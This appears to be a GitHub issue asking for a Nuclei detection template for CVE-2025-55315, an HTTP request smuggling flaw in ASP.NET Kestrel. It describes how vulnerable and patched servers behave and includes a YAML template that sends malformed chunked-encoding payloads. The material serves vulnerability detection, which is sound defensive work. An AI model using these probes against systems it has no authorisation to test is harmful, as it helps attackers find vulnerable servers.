- 
                Notifications
    You must be signed in to change notification settings 
- Fork 3.1k
Open
Labels
template-requestsRequest for new Nuclei templates to be createdRequest for new Nuclei templates to be createdwaiting for more info
Description
Is there an existing template for this?
- I have searched the existing templates.
Template requests
CVE-2025-55315
Vulnerable System Behavior:
- GET requests: Returns HTTP 200 with socket remaining open
- POST requests: Returns HTTP 200 with socket remaining open
- POST to content-type endpoints: Returns HTTP 415 with socket remaining open
 
Patched System Behavior:
- GET requests: Returns HTTP 200 but socket closes immediately
- POST requests: Returns HTTP 400 "Bad chunk extension" and socket closes
- POST to content-type endpoints: Returns HTTP 415 but socket closes immediately
Author
Amit Kumar Biswas (@amitlt2), Security Engineer at VIEH Group - https://github.com/amitlttwo & https://github.com/viehgroup
Affected Configurations
- ASP.NET Kestrel webserver with HTTP/1.1
- Non-TLS configurations (HTTP)
- Versions before the security patch
Detection Indicators
- Different connection behavior (keep-alive vs immediate closure)
- Status code variations (200 vs 400)
- Exception messages about "Bad chunk extension"
- Server headers containing "Kestrel" or "ASP.NET"
Template Code
id: CVE-2025-55315
info:
  name: ASP.NET Kestrel HTTP Request Smuggling Vulnerability
  author: @amitlt2 & @viehgroup
  severity: Critical
  description: Detection for CVE-2025-55315 - Critical HTTP request/response smuggling vulnerability in ASP.NET Kestrel webserver
  reference:
    - https://github.com/dotnet/aspnetcore/commit/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-55315
  tags: cve,cve2025,http,kestrel,aspnet,dotnet,smuggling
http:
  - method: GET
    path:
      - "{{BaseURL}}"
    
    headers:
      Host: "{{Hostname}}"
      Transfer-Encoding: chunked
      Content-Type: text/plain
      Connection: keep-alive
    
    body: "2;\rxx\r\nxy\r\n0\r\n\r\n"
    
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "HTTP/1.1 200 OK"
          - "ASP.NET"
        condition: or
        part: header
      - type: word
        words:
          - "Kestrel"
        part: body
  - method: POST
    path:
      - "{{BaseURL}}"
    
    headers:
      Host: "{{Hostname}}"
      Transfer-Encoding: chunked
      Content-Type: text/plain
    
    body: "2;\rxx\r\nxy\r\n0\r\n\r\n"
    
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 415
      - type: word
        words:
          - "HTTP/1.1"
        part: header
  - method: POST
    path:
      - "{{BaseURL}}/ct"
    
    headers:
      Host: "{{Hostname}}"
      Transfer-Encoding: chunked
      Content-Type: text/plain
    
    body: "2;\rxx\r\nxy\r\n0\r\n\r\n"
    
    matchers:
      - type: status
        status:
          - 415
          - 200
  - method: GET
    path:
      - "{{BaseURL}}"
    
    headers:
      Host: "{{Hostname}}"
      Transfer-Encoding: chunked
      Content-Type: text/plain
    
    body: "2;\rxx\r\nxy\r\n0\r\n\r\n"
    
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 && contains(all_headers, 'Kestrel')"
          - "status_code == 200 && contains(body, 'ASP.NET')"
## References
- https://github.com/dotnet/aspnetcore/commit/ (security fix commit)
- https://nvd.nist.gov/vuln/detail/CVE-2025-55315
- PoC Blog: Abbreviated Reproduction of CVE-2025-55315Metadata
Metadata
Assignees
Labels
template-requestsRequest for new Nuclei templates to be createdRequest for new Nuclei templates to be createdwaiting for more info